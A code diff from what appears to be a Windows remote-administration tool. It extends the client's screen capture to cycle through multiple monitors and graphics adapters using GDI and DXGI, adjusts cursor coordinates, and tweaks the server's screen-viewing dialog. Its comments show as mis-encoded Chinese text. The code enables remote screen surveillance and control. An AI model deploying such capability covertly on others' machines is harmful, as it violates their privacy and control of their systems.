diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 81bd205..b1c010d 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -593,6 +593,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) }; if (ulLength > 1) { memcpy(user->buffer, szBuffer + 1, ulLength - 1); + if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0; } m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount].user = user; diff --git a/client/ScreenCapture.h b/client/ScreenCapture.h index 007a336..1f629ca 100644 --- a/client/ScreenCapture.h +++ b/client/ScreenCapture.h @@ -84,6 +84,25 @@ private: class ScreenCapture { +private: + static BOOL CALLBACK MonitorEnumProc(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lprcMonitor, LPARAM dwData) + { + std::vector* monitors = reinterpret_cast*>(dwData); + + MONITORINFOEX mi; + mi.cbSize = sizeof(MONITORINFOEX); + if (GetMonitorInfo(hMonitor, &mi)) + { + monitors->push_back(mi); // ±£´æÏÔʾÆ÷ÐÅÏ¢ + } + return TRUE; + } + std::vector GetAllMonitors() + { + std::vector monitors; + EnumDisplayMonitors(nullptr, nullptr, MonitorEnumProc, (LPARAM)&monitors); + return monitors; + } public: ThreadPool* m_ThreadPool; // Ïß³Ì³Ø BYTE* m_FirstBuffer; // ÉÏÒ»Ö¡Êý¾Ý @@ -119,13 +138,24 @@ public: m_BlockNum = 8; m_ThreadPool = new ThreadPool(m_BlockNum); - - if (all) + static auto monitors = GetAllMonitors(); + static int index = 0; + if (all && !monitors.empty()) { - m_iScreenX = GetSystemMetrics(SM_XVIRTUALSCREEN); - m_iScreenY = GetSystemMetrics(SM_YVIRTUALSCREEN); - m_ulFullWidth = GetSystemMetrics(SM_CXVIRTUALSCREEN); - m_ulFullHeight = GetSystemMetrics(SM_CYVIRTUALSCREEN); + int idx = index++ % (monitors.size()+1); + if (idx == 0) { + m_iScreenX = GetSystemMetrics(SM_XVIRTUALSCREEN); + m_iScreenY = GetSystemMetrics(SM_YVIRTUALSCREEN); + m_ulFullWidth = GetSystemMetrics(SM_CXVIRTUALSCREEN); + m_ulFullHeight = GetSystemMetrics(SM_CYVIRTUALSCREEN); + } + else { + RECT rt = monitors[idx-1].rcMonitor; + m_iScreenX = rt.left; + m_iScreenY = rt.top; + m_ulFullWidth = rt.right - rt.left; + m_ulFullHeight = rt.bottom - rt.top; + } } else { //::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)»ñÈ¡ÆÁÄ»´óС²»×¼ //ÀýÈçµ±ÆÁÄ»ÏÔʾ±ÈÀýΪ125%ʱ£¬»ñÈ¡µ½µÄÆÁÄ»´óСÐèÒª³ËÒÔ1.25²Å¶Ô @@ -411,6 +441,8 @@ public: pt.x *= m_wZoom; pt.y *= m_hZoom; } + pt.x += m_iScreenX; + pt.y += m_iScreenY; } // »ñȡλͼ½á¹¹ÐÅÏ¢ diff --git a/client/ScreenCapturerDXGI.h b/client/ScreenCapturerDXGI.h index 2774167..35b9b63 100644 --- a/client/ScreenCapturerDXGI.h +++ b/client/ScreenCapturerDXGI.h @@ -9,6 +9,7 @@ #include #pragma comment(lib, "d3d11.lib") +#pragma comment(lib, "dxgi.lib") // author: ChatGPT // update: 962914132@qq.com @@ -24,7 +25,7 @@ private: public: ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE) : ScreenCapture(32, algo, all) { m_GOP = gop; - InitDXGI(); + InitDXGI(all); Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP); } @@ -36,26 +37,38 @@ public: SAFE_DELETE_ARRAY(m_RectBuffer); } - void InitDXGI() { + void InitDXGI(BOOL all) { + m_iScreenX = 0; + m_iScreenY = 0; // 1. ´´½¨ D3D11 É豸 D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, nullptr, 0, D3D11_SDK_VERSION, &d3dDevice, nullptr, &d3dContext); - - IDXGIDevice * dxgiDevice = nullptr; - IDXGIAdapter* dxgiAdapter = nullptr; + + IDXGIFactory1* pFactory = nullptr; + IDXGIAdapter1* dxgiAdapter = nullptr; IDXGIOutput* dxgiOutput = nullptr; IDXGIOutput1* dxgiOutput1 = nullptr; - do { - // 2. »ñÈ¡ DXGI É豸 - d3dDevice->QueryInterface(__uuidof(IDXGIDevice), (void**)&dxgiDevice); - if(!dxgiDevice)break; + // 2. ´´½¨¹¤³§ + CreateDXGIFactory1(__uuidof(IDXGIFactory1), (void**)&pFactory); + if (!pFactory) return; - // 3. »ñÈ¡ DXGI ÊÊÅäÆ÷ - dxgiDevice->GetAdapter(&dxgiAdapter); + do { + // 3. »ñÈ¡É豸 + static UINT idx = 0; + idx = pFactory->EnumAdapters1(idx, &dxgiAdapter) == DXGI_ERROR_NOT_FOUND ? 0 : idx; + if (!dxgiAdapter) pFactory->EnumAdapters1(idx, &dxgiAdapter); if (!dxgiAdapter)break; // 4. »ñÈ¡ DXGI Êä³ö£¨ÆÁÄ»£© - dxgiAdapter->EnumOutputs(0, &dxgiOutput); + static UINT screen = 0; + HRESULT r = dxgiAdapter->EnumOutputs(screen++, &dxgiOutput); + if (r == DXGI_ERROR_NOT_FOUND && all) { + screen = 0; + idx ++; + dxgiAdapter->Release(); + dxgiAdapter = nullptr; + continue; + } if (!dxgiOutput)break; // 5. »ñÈ¡ DXGI Êä³ö 1 @@ -99,13 +112,15 @@ public: m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1]; m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1]; m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12]; - } while (false); + + break; + } while (true); // ÊÍ·Å DXGI ×ÊÔ´ if (dxgiOutput1) dxgiOutput1->Release(); if (dxgiOutput) dxgiOutput->Release(); if (dxgiAdapter) dxgiAdapter->Release(); - if (dxgiDevice) dxgiDevice->Release(); + if (pFactory) pFactory->Release(); } bool IsInitSucceed() const { diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index b879337..5070365 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -829,12 +829,6 @@ void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point) { if (!m_bMouseTracking) { - // 第一次进入,开始追踪 WM_MOUSELEAVE - TRACKMOUSEEVENT tme = { sizeof(TRACKMOUSEEVENT) }; - tme.dwFlags = TME_LEAVE; - tme.hwndTrack = m_hWnd; - TrackMouseEvent(&tme); - m_bMouseTracking = true; SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO)); }